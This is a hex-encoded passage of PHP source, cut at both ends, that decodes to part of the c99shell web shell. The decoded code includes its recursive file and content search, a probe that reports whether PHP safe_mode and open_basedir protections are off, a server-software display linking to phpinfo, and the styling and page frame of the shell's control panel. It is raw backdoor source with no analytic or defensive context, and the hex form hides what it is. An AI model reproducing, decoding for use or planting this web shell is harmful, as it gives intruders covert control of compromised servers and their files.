31 5D 29 3B 0A 20 20 20 20 7D 0A 20 20 20 7D 0A 20 20 7D 0A 20 7D 0A 20 65 6C 73 65 20 7B 72 65 74 75 72 6E 20 66 61 6C 73 65 3B 7D 0A 7D 0A 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 63 39 39 66 73 65 61 72 63 68 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 63 39 39 66 73 65 61 72 63 68 28 24 64 29 0A 7B 0A 20 67 6C 6F 62 61 6C 20 24 66 6F 75 6E 64 3B 0A 20 67 6C 6F 62 61 6C 20 24 66 6F 75 6E 64 5F 64 3B 0A 20 67 6C 6F 62 61 6C 20 24 66 6F 75 6E 64 5F 66 3B 0A 20 67 6C 6F 62 61 6C 20 24 73 65 61 72 63 68 5F 69 5F 66 3B 0A 20 67 6C 6F 62 61 6C 20 24 73 65 61 72 63 68 5F 69 5F 64 3B 0A 20 67 6C 6F 62 61 6C 20 24 61 3B 0A 20 69 66 20 28 73 75 62 73 74 72 28 24 64 2C 2D 31 29 20 21 3D 20 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 29 20 7B 24 64 20 2E 3D 20 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 3B 7D 0A 20 24 68 20 3D 20 6F 70 65 6E 64 69 72 28 24 64 29 3B 0A 20 77 68 69 6C 65 20 28 28 24 66 20 3D 20 72 65 61 64 64 69 72 28 24 68 29 29 20 21 3D 3D 20 66 61 6C 73 65 29 0A 20 7B 0A 20 20 69 66 28 24 66 20 21 3D 20 22 2E 22 20 26 26 20 24 66 20 21 3D 20 22 2E 2E 22 29 0A 20 20 7B 0A 20 20 20 24 62 6F 6F 6C 20 3D 20 28 65 6D 70 74 79 28 24 61 5B 22 6E 61 6D 65 5F 72 65 67 65 78 70 22 5D 29 20 61 6E 64 20 73 74 72 70 6F 73 28 24 66 2C 24 61 5B 22 6E 61 6D 65 22 5D 29 20 21 3D 3D 20 66 61 6C 73 65 29 20 7C 7C 20 28 24 61 5B 22 6E 61 6D 65 5F 72 65 67 65 78 70 22 5D 20 61 6E 64 20 65 72 65 67 28 24 61 5B 22 6E 61 6D 65 22 5D 2C 24 66 29 29 3B 0A 20 20 20 69 66 20 28 69 73 5F 64 69 72 28 24 64 2E 24 66 29 29 0A 20 20 20 7B 0A 20 20 20 20 24 73 65 61 72 63 68 5F 69 5F 64 2B 2B 3B 0A 20 20 20 20 69 66 20 28 65 6D 70 74 79 28 24 61 5B 22 74 65 78 74 22 5D 29 20 61 6E 64 20 24 62 6F 6F 6C 29 20 7B 24 66 6F 75 6E 64 5B 5D 20 3D 20 24 64 2E 24 66 3B 20 24 66 6F 75 6E 64 5F 64 2B 2B 3B 7D 0A 20 20 20 20 69 66 20 28 21 69 73 5F 6C 69 6E 6B 28 24 64 2E 24 66 29 29 20 7B 63 39 39 66 73 65 61 72 63 68 28 24 64 2E 24 66 29 3B 7D 0A 20 20 20 7D 0A 20 20 20 65 6C 73 65 0A 20 20 20 7B 0A 20 20 20 20 24 73 65 61 72 63 68 5F 69 5F 66 2B 2B 3B 0A 20 20 20 20 69 66 20 28 24 62 6F 6F 6C 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 61 5B 22 74 65 78 74 22 5D 29 29 0A 20 20 20 20 20 7B 0A 20 20 20 20 20 20 24 72 20 3D 20 40 66 69 6C 65 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 24 64 2E 24 66 29 3B 0A 20 20 20 20 20 20 69 66 20 28 24 61 5B 22 74 65 78 74 5F 77 77 6F 22 5D 29 20 7B 24 61 5B 22 74 65 78 74 22 5D 20 3D 20 22 20 22 2E 74 72 69 6D 28 24 61 5B 22 74 65 78 74 22 5D 29 2E 22 20 22 3B 7D 0A 20 20 20 20 20 20 69 66 20 28 21 24 61 5B 22 74 65 78 74 5F 63 73 22 5D 29 20 7B 24 61 5B 22 74 65 78 74 22 5D 20 3D 20 73 74 72 74 6F 6C 6F 77 65 72 28 24 61 5B 22 74 65 78 74 22 5D 29 3B 20 24 72 20 3D 20 73 74 72 74 6F 6C 6F 77 65 72 28 24 72 29 3B 7D 0A 20 20 20 20 20 20 69 66 20 28 24 61 5B 22 74 65 78 74 5F 72 65 67 65 78 70 22 5D 29 20 7B 24 62 6F 6F 6C 20 3D 20 65 72 65 67 28 24 61 5B 22 74 65 78 74 22 5D 2C 24 72 29 3B 7D 0A 20 20 20 20 20 20 65 6C 73 65 20 7B 24 62 6F 6F 6C 20 3D 20 73 74 72 70 6F 73 28 22 20 22 2E 24 72 2C 24 61 5B 22 74 65 78 74 22 5D 2C 31 29 3B 7D 0A 20 20 20 20 20 20 69 66 20 28 24 61 5B 22 74 65 78 74 5F 6E 6F 74 22 5D 29 20 7B 24 62 6F 6F 6C 20 3D 20 21 24 62 6F 6F 6C 3B 7D 0A 20 20 20 20 20 20 69 66 20 28 24 62 6F 6F 6C 29 20 7B 24 66 6F 75 6E 64 5B 5D 20 3D 20 24 64 2E 24 66 3B 20 24 66 6F 75 6E 64 5F 66 2B 2B 3B 7D 0A 20 20 20 20 20 7D 0A 20 20 20 20 20 65 6C 73 65 20 7B 24 66 6F 75 6E 64 5B 5D 20 3D 20 24 64 2E 24 66 3B 20 24 66 6F 75 6E 64 5F 66 2B 2B 3B 7D 0A 20 20 20 20 7D 0A 20 20 20 7D 0A 20 20 7D 0A 20 7D 0A 20 63 6C 6F 73 65 64 69 72 28 24 68 29 3B 0A 7D 0A 7D 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 67 6F 66 69 6C 65 22 29 20 7B 69 66 20 28 69 73 5F 64 69 72 28 24 66 29 29 20 7B 24 61 63 74 20 3D 20 22 6C 73 22 3B 20 24 64 20 3D 20 24 66 3B 7D 20 65 6C 73 65 20 7B 24 61 63 74 20 3D 20 22 66 22 3B 20 24 64 20 3D 20 64 69 72 6E 61 6D 65 28 24 66 29 3B 20 24 66 20 3D 20 62 61 73 65 6E 61 6D 65 28 24 66 29 3B 7D 7D 0A 2F 2F 53 65 6E 64 69 6E 67 20 68 65 61 64 65 72 73 0A 40 6F 62 5F 73 74 61 72 74 28 29 3B 0A 40 6F 62 5F 69 6D 70 6C 69 63 69 74 5F 66 6C 75 73 68 28 30 29 3B 0A 66 75 6E 63 74 69 6F 6E 20 6F 6E 70 68 70 73 68 75 74 64 6F 77 6E 28 29 0A 7B 0A 20 67 6C 6F 62 61 6C 20 24 67 7A 69 70 65 6E 63 6F 64 65 2C 24 66 74 3B 0A 20 69 66 20 28 21 68 65 61 64 65 72 73 5F 73 65 6E 74 28 29 20 61 6E 64 20 24 67 7A 69 70 65 6E 63 6F 64 65 20 61 6E 64 20 21 69 6E 5F 61 72 72 61 79 28 24 66 74 2C 61 72 72 61 79 28 22 69 6D 67 22 2C 22 64 6F 77 6E 6C 6F 61 64 22 2C 22 6E 6F 74 65 70 61 64 22 29 29 29 0A 20 7B 0A 20 20 24 76 20 3D 20 40 6F 62 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 29 3B 0A 20 20 40 6F 62 5F 65 6E 64 5F 63 6C 65 61 6E 28 29 3B 0A 20 20 40 6F 62 5F 73 74 61 72 74 28 22 6F 62 5F 67 7A 48 61 6E 64 6C 65 72 22 29 3B 0A 20 20 65 63 68 6F 20 24 76 3B 0A 20 20 40 6F 62 5F 65 6E 64 5F 66 6C 75 73 68 28 29 3B 0A 20 7D 0A 7D 0A 66 75 6E 63 74 69 6F 6E 20 63 39 39 73 68 65 78 69 74 28 29 0A 7B 0A 20 6F 6E 70 68 70 73 68 75 74 64 6F 77 6E 28 29 3B 0A 20 65 78 69 74 3B 0A 7D 0A 68 65 61 64 65 72 28 22 45 78 70 69 72 65 73 3A 20 4D 6F 6E 2C 20 32 36 20 4A 75 6C 20 31 39 39 37 20 30 35 3A 30 30 3A 30 30 20 47 4D 54 22 29 3B 0A 68 65 61 64 65 72 28 22 4C 61 73 74 2D 4D 6F 64 69 66 69 65 64 3A 20 22 2E 67 6D 64 61 74 65 28 22 44 2C 20 64 20 4D 20 59 20 48 3A 69 3A 73 22 29 2E 22 20 47 4D 54 22 29 3B 0A 68 65 61 64 65 72 28 22 43 61 63 68 65 2D 43 6F 6E 74 72 6F 6C 3A 20 6E 6F 2D 73 74 6F 72 65 2C 20 6E 6F 2D 63 61 63 68 65 2C 20 6D 75 73 74 2D 72 65 76 61 6C 69 64 61 74 65 22 29 3B 0A 68 65 61 64 65 72 28 22 43 61 63 68 65 2D 43 6F 6E 74 72 6F 6C 3A 20 70 6F 73 74 2D 63 68 65 63 6B 3D 30 2C 20 70 72 65 2D 63 68 65 63 6B 3D 30 22 2C 20 66 61 6C 73 65 29 3B 0A 68 65 61 64 65 72 28 22 50 72 61 67 6D 61 3A 20 6E 6F 2D 63 61 63 68 65 22 29 3B 0A 69 66 20 28 65 6D 70 74 79 28 24 74 6D 70 64 69 72 29 29 0A 7B 0A 20 24 74 6D 70 64 69 72 20 3D 20 69 6E 69 5F 67 65 74 28 22 75 70 6C 6F 61 64 5F 74 6D 70 5F 64 69 72 22 29 3B 0A 20 69 66 20 28 69 73 5F 64 69 72 28 24 74 6D 70 64 69 72 29 29 20 7B 24 74 6D 70 64 69 72 20 3D 20 22 2F 74 6D 70 2F 22 3B 7D 0A 7D 0A 24 74 6D 70 64 69 72 20 3D 20 72 65 61 6C 70 61 74 68 28 24 74 6D 70 64 69 72 29 3B 0A 24 74 6D 70 64 69 72 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 5C 5C 22 2C 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2C 24 74 6D 70 64 69 72 29 3B 0A 69 66 20 28 73 75 62 73 74 72 28 24 74 6D 70 64 69 72 2C 2D 31 29 20 21 3D 20 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 29 20 7B 24 74 6D 70 64 69 72 20 2E 3D 20 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 3B 7D 0A 69 66 20 28 65 6D 70 74 79 28 24 74 6D 70 64 69 72 5F 6C 6F 67 73 29 29 20 7B 24 74 6D 70 64 69 72 5F 6C 6F 67 73 20 3D 20 24 74 6D 70 64 69 72 3B 7D 0A 65 6C 73 65 20 7B 24 74 6D 70 64 69 72 5F 6C 6F 67 73 20 3D 20 72 65 61 6C 70 61 74 68 28 24 74 6D 70 64 69 72 5F 6C 6F 67 73 29 3B 7D 0A 69 66 20 28 40 69 6E 69 5F 67 65 74 28 22 73 61 66 65 5F 6D 6F 64 65 22 29 20 6F 72 20 73 74 72 74 6F 6C 6F 77 65 72 28 40 69 6E 69 5F 67 65 74 28 22 73 61 66 65 5F 6D 6F 64 65 22 29 29 20 3D 3D 20 22 6F 6E 22 29 0A 7B 0A 20 24 73 61 66 65 6D 6F 64 65 20 3D 20 74 72 75 65 3B 0A 20 24 68 73 61 66 65 6D 6F 64 65 20 3D 20 22 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 72 65 64 3E 4F 4E 20 28 73 65 63 75 72 65 29 3C 2F 66 6F 6E 74 3E 22 3B 0A 7D 0A 65 6C 73 65 20 7B 24 73 61 66 65 6D 6F 64 65 20 3D 20 66 61 6C 73 65 3B 20 24 68 73 61 66 65 6D 6F 64 65 20 3D 20 22 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 67 72 65 65 6E 3E 4F 46 46 20 28 6E 6F 74 20 73 65 63 75 72 65 29 3C 2F 66 6F 6E 74 3E 22 3B 7D 0A 24 76 20 3D 20 40 69 6E 69 5F 67 65 74 28 22 6F 70 65 6E 5F 62 61 73 65 64 69 72 22 29 3B 0A 69 66 20 28 24 76 20 6F 72 20 73 74 72 74 6F 6C 6F 77 65 72 28 24 76 29 20 3D 3D 20 22 6F 6E 22 29 20 7B 24 6F 70 65 6E 62 61 73 65 64 69 72 20 3D 20 74 72 75 65 3B 20 24 68 6F 70 65 6E 62 61 73 65 64 69 72 20 3D 20 22 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 72 65 64 3E 22 2E 24 76 2E 22 3C 2F 66 6F 6E 74 3E 22 3B 7D 0A 65 6C 73 65 20 7B 24 6F 70 65 6E 62 61 73 65 64 69 72 20 3D 20 66 61 6C 73 65 3B 20 24 68 6F 70 65 6E 62 61 73 65 64 69 72 20 3D 20 22 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 67 72 65 65 6E 3E 4F 46 46 20 28 6E 6F 74 20 73 65 63 75 72 65 29 3C 2F 66 6F 6E 74 3E 22 3B 7D 0A 24 73 6F 72 74 20 3D 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 73 6F 72 74 29 3B 0A 69 66 20 28 65 6D 70 74 79 28 24 73 6F 72 74 29 29 20 7B 24 73 6F 72 74 20 3D 20 24 73 6F 72 74 5F 64 65 66 61 75 6C 74 3B 7D 0A 24 73 6F 72 74 5B 31 5D 20 3D 20 73 74 72 74 6F 6C 6F 77 65 72 28 24 73 6F 72 74 5B 31 5D 29 3B 0A 24 44 49 53 50 5F 53 45 52 56 45 52 5F 53 4F 46 54 57 41 52 45 20 3D 20 67 65 74 65 6E 76 28 22 53 45 52 56 45 52 5F 53 4F 46 54 57 41 52 45 22 29 3B 0A 69 66 20 28 21 65 72 65 67 28 22 50 48 50 2F 22 2E 70 68 70 76 65 72 73 69 6F 6E 28 29 2C 24 44 49 53 50 5F 53 45 52 56 45 52 5F 53 4F 46 54 57 41 52 45 29 29 20 7B 24 44 49 53 50 5F 53 45 52 56 45 52 5F 53 4F 46 54 57 41 52 45 20 2E 3D 20 22 2E 20 50 48 50 2F 22 2E 70 68 70 76 65 72 73 69 6F 6E 28 29 3B 7D 0A 24 44 49 53 50 5F 53 45 52 56 45 52 5F 53 4F 46 54 57 41 52 45 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 50 48 50 2F 22 2E 70 68 70 76 65 72 73 69 6F 6E 28 29 2C 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 70 68 70 69 6E 66 6F 5C 22 20 74 61 72 67 65 74 3D 5C 22 5F 62 6C 61 6E 6B 5C 22 3E 3C 62 3E 3C 75 3E 50 48 50 2F 22 2E 70 68 70 76 65 72 73 69 6F 6E 28 29 2E 22 3C 2F 75 3E 3C 2F 62 3E 3C 2F 61 3E 22 2C 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 44 49 53 50 5F 53 45 52 56 45 52 5F 53 4F 46 54 57 41 52 45 29 29 3B 0A 40 69 6E 69 5F 73 65 74 28 22 68 69 67 68 6C 69 67 68 74 2E 62 67 22 2C 24 68 69 67 68 6C 69 67 68 74 5F 62 67 29 3B 20 2F 2F 46 46 46 46 46 46 0A 40 69 6E 69 5F 73 65 74 28 22 68 69 67 68 6C 69 67 68 74 2E 63 6F 6D 6D 65 6E 74 22 2C 24 68 69 67 68 6C 69 67 68 74 5F 63 6F 6D 6D 65 6E 74 29 3B 20 2F 2F 23 46 46 38 30 30 30 0A 40 69 6E 69 5F 73 65 74 28 22 68 69 67 68 6C 69 67 68 74 2E 64 65 66 61 75 6C 74 22 2C 24 68 69 67 68 6C 69 67 68 74 5F 64 65 66 61 75 6C 74 29 3B 20 2F 2F 23 30 30 30 30 42 42 0A 40 69 6E 69 5F 73 65 74 28 22 68 69 67 68 6C 69 67 68 74 2E 68 74 6D 6C 22 2C 24 68 69 67 68 6C 69 67 68 74 5F 68 74 6D 6C 29 3B 20 2F 2F 23 30 30 30 30 30 30 0A 40 69 6E 69 5F 73 65 74 28 22 68 69 67 68 6C 69 67 68 74 2E 6B 65 79 77 6F 72 64 22 2C 24 68 69 67 68 6C 69 67 68 74 5F 6B 65 79 77 6F 72 64 29 3B 20 2F 2F 23 30 30 37 37 30 30 0A 40 69 6E 69 5F 73 65 74 28 22 68 69 67 68 6C 69 67 68 74 2E 73 74 72 69 6E 67 22 2C 24 68 69 67 68 6C 69 67 68 74 5F 73 74 72 69 6E 67 29 3B 20 2F 2F 23 44 44 30 30 30 30 0A 69 66 20 28 21 69 73 5F 61 72 72 61 79 28 24 61 63 74 62 6F 78 29 29 20 7B 24 61 63 74 62 6F 78 20 3D 20 61 72 72 61 79 28 29 3B 7D 0A 24 64 73 70 61 63 74 20 3D 20 24 61 63 74 20 3D 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 61 63 74 29 3B 0A 24 64 69 73 70 5F 66 75 6C 6C 70 61 74 68 20 3D 20 24 6C 73 5F 61 72 72 20 3D 20 24 6E 6F 74 6C 73 20 3D 20 6E 75 6C 6C 3B 0A 24 75 64 20 3D 20 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 3B 0A 3F 3E 3C 68 74 6D 6C 3E 3C 68 65 61 64 3E 3C 6D 65 74 61 20 68 74 74 70 2D 65 71 75 69 76 3D 22 43 6F 6E 74 65 6E 74 2D 54 79 70 65 22 20 63 6F 6E 74 65 6E 74 3D 22 74 65 78 74 2F 68 74 6D 6C 3B 20 63 68 61 72 73 65 74 3D 77 69 6E 64 6F 77 73 2D 31 32 35 31 22 3E 3C 6D 65 74 61 20 68 74 74 70 2D 65 71 75 69 76 3D 22 43 6F 6E 74 65 6E 74 2D 4C 61 6E 67 75 61 67 65 22 20 63 6F 6E 74 65 6E 74 3D 22 65 6E 2D 75 73 22 3E 3C 74 69 74 6C 65 3E 3C 3F 70 68 70 20 65 63 68 6F 20 67 65 74 65 6E 76 28 22 48 54 54 50 5F 48 4F 53 54 22 29 3B 20 3F 3E 20 2D 20 63 39 39 73 68 65 6C 6C 3C 2F 74 69 74 6C 65 3E 3C 53 54 59 4C 45 3E 54 44 20 7B 20 46 4F 4E 54 2D 53 49 5A 45 3A 20 38 70 74 3B 20 43 4F 4C 4F 52 3A 20 23 65 62 65 62 65 62 3B 20 46 4F 4E 54 2D 46 41 4D 49 4C 59 3A 20 76 65 72 64 61 6E 61 3B 7D 42 4F 44 59 20 7B 20 73 63 72 6F 6C 6C 62 61 72 2D 66 61 63 65 2D 63 6F 6C 6F 72 3A 20 23 38 30 30 30 30 30 3B 20 73 63 72 6F 6C 6C 62 61 72 2D 73 68 61 64 6F 77 2D 63 6F 6C 6F 72 3A 20 23 31 30 31 30 31 30 3B 20 73 63 72 6F 6C 6C 62 61 72 2D 68 69 67 68 6C 69 67 68 74 2D 63 6F 6C 6F 72 3A 20 23 31 30 31 30 31 30 3B 20 73 63 72 6F 6C 6C 62 61 72 2D 33 64 6C 69 67 68 74 2D 63 6F 6C 6F 72 3A 20 23 31 30 31 30 31 30 3B 20 73 63 72 6F 6C 6C 62 61 72 2D 64 61 72 6B 73 68 61 64 6F 77 2D 63 6F 6C 6F 72 3A 20 23 31 30 31 30 31 30 3B 20 73 63 72 6F 6C 6C 62 61 72 2D 74 72 61 63 6B 2D 63 6F 6C 6F 72 3A 20 23 31 30 31 30 31 30 3B 20 73 63 72 6F 6C 6C 62 61 72 2D 61 72 72 6F 77 2D 63 6F 6C 6F 72 3A 20 23 31 30 31 30 31 30 3B 20 66 6F 6E 74 2D 66 61 6D 69 6C 79 3A 20 56 65 72 64 61 6E 61 3B 7D 54 44 2E 68 65 61 64 65 72 20 7B 20 46 4F 4E 54 2D 57 45 49 47 48 54 3A 20 6E 6F 72 6D 61 6C 3B 20 46 4F 4E 54 2D 53 49 5A 45 3A 20 31 30 70 74 3B 20 42 41 43 4B 47 52 4F 55 4E 44 3A 20 23 37 64 37 34 37 34 3B 20 43 4F 4C 4F 52 3A 20 77 68 69 74 65 3B 20 46 4F 4E 54 2D 46 41 4D 49 4C 59 3A 20 76 65 72 64 61 6E 61 3B 7D 41 20 7B 20 46 4F 4E 54 2D 57 45 49 47 48 54 3A 20 6E 6F 72 6D 61 6C 3B 20 43 4F 4C 4F 52 3A 20 23 64 61 64 61 64 61 3B 20 46 4F 4E 54 2D 46 41 4D 49 4C 59 3A 20 76 65 72 64 61 6E 61 3B 20 54 45 58 54 2D 44 45 43 4F 52 41 54 49 4F 4E 3A 20 6E 6F 6E 65 3B 7D 41 3A 75 6E 6B 6E 6F 77 6E 20 7B 20 46 4F 4E 54 2D 57 45 49 47 48 54 3A 20 6E 6F 72 6D 61 6C 3B 20 43 4F 4C 4F 52 3A 20 23 66 66 66 66 66 66 3B 20 46 4F 4E 54 2D 46 41 4D 49 4C 59 3A 20 76 65 72 64 61 6E 61 3B 20 54 45 58 54 2D 44 45 43 4F 52 41 54 49 4F 4E 3A 20 6E 6F 6E 65 3B 7D 41 2E 4C 69 6E 6B 73 20 7B 20 43 4F 4C 4F 52 3A 20 23 66 66 66 66 66 66 3B 20 54 45 58 54 2D 44 45 43 4F 52 41 54 49 4F 4E 3A 20 6E 6F 6E 65 3B 7D 41 2E 4C 69 6E 6B 73 3A 75 6E 6B 6E 6F 77 6E 20 7B 20 46 4F 4E 54 2D 57 45 49 47 48 54 3A 20 6E 6F 72 6D 61 6C 3B 20 43 4F 4C 4F 52 3A 20 23 66 66 66 66 66 66 3B 20 54 45 58 54 2D 44 45 43 4F 52 41 54 49 4F 4E 3A 20 6E 6F 6E 65 3B 7D 41 3A 68 6F 76 65 72 20 7B 20 43 4F 4C 4F 52 3A 20 23 66 66 66 66 66 66 3B 20 54 45 58 54 2D 44 45 43 4F 52 41 54 49 4F 4E 3A 20 75 6E 64 65 72 6C 69 6E 65 3B 7D 2E 73 6B 69 6E 30 7B 70 6F 73 69 74 69 6F 6E 3A 61 62 73 6F 6C 75 74 65 3B 20 77 69 64 74 68 3A 32 30 30 70 78 3B 20 62 6F 72 64 65 72 3A 32 70 78 20 73 6F 6C 69 64 20 62 6C 61 63 6B 3B 20 62 61 63 6B 67 72 6F 75 6E 64 2D 63 6F 6C 6F 72 3A 6D 65 6E 75 3B 20 66 6F 6E 74 2D 66 61 6D 69 6C 79 3A 56 65 72 64 61 6E 61 3B 20 6C 69 6E 65 2D 68 65 69 67 68 74 3A 32 30 70 78 3B 20 63 75 72 73 6F 72 3A 64 65 66 61 75 6C 74 3B 20 76 69 73 69 62 69 6C 69 74 79 3A 68 69 64 64 65 6E 3B 3B 7D 2E 73 6B 69 6E 31 7B 63 75 72 73 6F 72 3A 20 64 65 66 61 75 6C 74 3B 20 66 6F 6E 74 3A 20 6D 65 6E 75 74 65 78 74 3B 20 70 6F 73 69 74 69 6F 6E 3A 20 61 62 73 6F 6C 75 74 65 3B 20 77 69 64 74 68 3A 20 31 34 35 70 78 3B 20 62 61 63 6B 67 72 6F 75 6E 64 2D 63 6F 6C 6F 72 3A 20 6D 65 6E 75 3B 20 62 6F 72 64 65 72 3A 20 31 20 73 6F 6C 69 64 20 62 75 74 74 6F 6E 66 61 63 65 3B 76 69 73 69 62 69 6C 69 74 79 3A 68 69 64 64 65 6E 3B 20 62 6F 72 64 65 72 3A 20 32 20 6F 75 74 73 65 74 20 62 75 74 74 6F 6E 68 69 67 68 6C 69 67 68 74 3B 20 66 6F 6E 74 2D 66 61 6D 69 6C 79 3A 20 56 65 72 64 61 6E 61 2C 47 65 6E 65 76 61 2C 20 41 72 69 61 6C 3B 20 66 6F 6E 74 2D 73 69 7A 65 3A 20 31 30 70 78 3B 20 63 6F 6C 6F 72 3A 20 62 6C 61 63 6B 3B 7D 2E 6D 65 6E 75 69 74 65 6D 73 7B 70 61 64 64 69 6E 67 2D 6C 65 66 74 3A 31 35 70 78 3B 20 70 61 64 64 69 6E 67 2D 72 69 67 68 74 3A 31 30 70 78 3B 3B 7D 69 6E 70 75 74 7B 62 61 63 6B 67 72 6F 75 6E 64 2D 63 6F 6C 6F 72 3A 20 23 38 30 30 30 30 30 3B 20 66 6F 6E 74 2D 73 69 7A 65 3A 20 38 70 74 3B 20 63 6F 6C 6F 72 3A 20 23 46 46 46 46 46 46 3B 20 66 6F 6E 74 2D 66 61 6D 69 6C 79 3A 20 54 61 68 6F 6D 61 3B 20 62 6F 72 64 65 72 3A 20 31 20 73 6F 6C 69 64 20 23 36 36 36 36 36 36 3B 7D 74 65 78 74 61 72 65 61 7B 62 61 63 6B 67 72 6F 75 6E 64 2D 63 6F 6C 6F 72 3A 20 23 38 30 30 30 30 30 3B 20 66 6F 6E 74 2D 73 69 7A 65 3A 20 38 70 74 3B 20 63 6F 6C 6F 72 3A 20 23 46 46 46 46 46 46 3B 20 66 6F 6E 74 2D 66 61 6D 69 6C 79 3A 20 54 61 68 6F 6D 61 3B 20 62 6F 72 64 65 72 3A 20 31 20 73 6F 6C 69 64 20 23 36 36 36 36 36 36 3B 7D 62 75 74 74 6F 6E 7B 62 61 63 6B 67 72 6F 75 6E 64 2D 63 6F 6C 6F 72 3A 20 23 38 30 30 30 30 30 3B 20 66 6F 6E 74 2D 73 69 7A 65 3A 20 38 70 74 3B 20 63 6F 6C 6F 72 3A 20 23 46 46 46 46 46 46 3B 20 66 6F 6E 74 2D 66 61 6D 69 6C 79 3A 20 54 61 68 6F 6D 61 3B 20 62 6F 72 64 65 72 3A 20 31 20 73 6F 6C 69 64 20 23 36 36 36 36 36 36 3B 7D 73 65 6C 65 63 74 7B 62 61 63 6B 67 72 6F 75 6E 64 2D 63 6F 6C 6F 72 3A 20 23 38 30 30 30 30 30 3B 20 66 6F 6E 74 2D 73 69 7A 65 3A 20 38 70 74 3B 20 63 6F 6C 6F 72 3A 20 23 46 46 46 46 46 46 3B 20 66 6F 6E 74 2D 66 61 6D 69 6C 79 3A 20 54 61 68 6F 6D 61 3B 20 62 6F 72 64 65 72 3A 20 31 20 73 6F 6C 69 64 20 23 36 36 36 36 36 36 3B 7D 6F 70 74 69 6F 6E 20 7B 62 61 63 6B 67 72 6F 75 6E 64 2D 63 6F 6C 6F 72 3A 20 23 38 30 30 30 30 30 3B 20 66 6F 6E 74 2D 73 69 7A 65 3A 20 38 70 74 3B 20 63 6F 6C 6F 72 3A 20 23 46 46 46 46 46 46 3B 20 66 6F 6E 74 2D 66 61 6D 69 6C 79 3A 20 54 61 68 6F 6D 61 3B 20 62 6F 72 64 65 72 3A 20 31 20 73 6F 6C 69 64 20 23 36 36 36 36 36 36 3B 7D 69 66 72 61 6D 65 20 7B 62 61 63 6B 67 72 6F 75 6E 64 2D 63 6F 6C 6F 72 3A 20 23 38 30 30 30 30 30 3B 20 66 6F 6E 74 2D 73 69 7A 65 3A 20 38 70 74 3B 20 63 6F 6C 6F 72 3A 20 23 46 46 46 46 46 46 3B 20 66 6F 6E 74 2D 66 61 6D 69 6C 79 3A 20 54 61 68 6F 6D 61 3B 20 62 6F 72 64 65 72 3A 20 31 20 73 6F 6C 69 64 20 23 36 36 36 36 36 36 3B 7D 70 20 7B 4D 41 52 47 49 4E 2D 54 4F 50 3A 20 30 70 78 3B 20 4D 41 52 47 49 4E 2D 42 4F 54 54 4F 4D 3A 20 30 70 78 3B 20 4C 49 4E 45 2D 48 45 49 47 48 54 3A 20 31 35 30 25 7D 62 6C 6F 63 6B 71 75 6F 74 65 7B 20 66 6F 6E 74 2D 73 69 7A 65 3A 20 38 70 74 3B 20 66 6F 6E 74 2D 66 61 6D 69 6C 79 3A 20 43 6F 75 72 69 65 72 2C 20 46 69 78 65 64 2C 20 41 72 69 61 6C 3B 20 62 6F 72 64 65 72 20 3A 20 38 70 78 20 73 6F 6C 69 64 20 23 41 39 41 39 41 39 3B 20 70 61 64 64 69 6E 67 3A 20 31 65 6D 3B 20 6D 61 72 67 69 6E 2D 74 6F 70 3A 20 31 65 6D 3B 20 6D 61 72 67 69 6E 2D 62 6F 74 74 6F 6D 3A 20 35 65 6D 3B 20 6D 61 72 67 69 6E 2D 72 69 67 68 74 3A 20 33 65 6D 3B 20 6D 61 72 67 69 6E 2D 6C 65 66 74 3A 20 34 65 6D 3B 20 62 61 63 6B 67 72 6F 75 6E 64 2D 63 6F 6C 6F 72 3A 20 23 42 37 42 32 42 30 3B 7D 62 6F 64 79 2C 74 64 2C 74 68 20 7B 20 66 6F 6E 74 2D 66 61 6D 69 6C 79 3A 20 76 65 72 64 61 6E 61 3B 20 63 6F 6C 6F 72 3A 20 23 64 39 64 39 64 39 3B 20 66 6F 6E 74 2D 73 69 7A 65 3A 20 31 31 70 78 3B 7D 62 6F 64 79 20 7B 20 62 61 63 6B 67 72 6F 75 6E 64 2D 63 6F 6C 6F 72 3A 20 23 30 30 30 30 30 30 3B 7D 3C 2F 73 74 79 6C 65 3E 3C 2F 68 65 61 64 3E 3C 42 4F 44 59 20 74 65 78 74 3D 23 66 66 66 66 66 66 20 62 6F 74 74 6F 6D 4D 61 72 67 69 6E 3D 30 20 62 67 43 6F 6C 6F 72 3D 23 30 30 30 30 30 30 20 6C 65 66 74 4D 61 72 67 69 6E 3D 30 20 74 6F 70 4D 61 72 67 69 6E 3D 30 20 72 69 67 68 74 4D 61 72 67 69 6E 3D 30 20 6D 61 72 67 69 6E 68 65 69 67 68 74 3D 30 20 6D 61 72 67 69 6E 77 69 64 74 68 3D 30 3E 3C 63 65 6E 74 65 72 3E 3C 54 41 42 4C 45 20 73 74 79 6C 65 3D 22 42 4F 52 44 45 52 2D 43 4F 4C 4C 41 50 53 45 3A 20 63 6F 6C 6C 61 70 73 65 22 20 68 65 69 67 68 74 3D 31 20 63 65 6C 6C 53 70 61 63 69 6E 67 3D 30 20 62 6F 72 64 65 72 43 6F 6C 6F 72 44 61 72 6B 3D 23 36 36 36 36 36 36 20 63 65 6C 6C 50 61 64 64 69 6E 67 3D 35 20 77 69 64 74 68 3D 22 31 30 30 25 22 20 62 67 